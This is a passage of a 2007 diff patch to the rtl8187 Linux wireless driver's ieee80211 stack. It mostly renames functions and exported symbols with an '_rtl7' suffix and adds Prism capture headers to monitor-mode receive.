"ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-06-08 23:30:47.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +253,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +549,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +641,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1221,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1238,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1328,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1387,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1405,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1413,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-06-21 23:51:28.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if 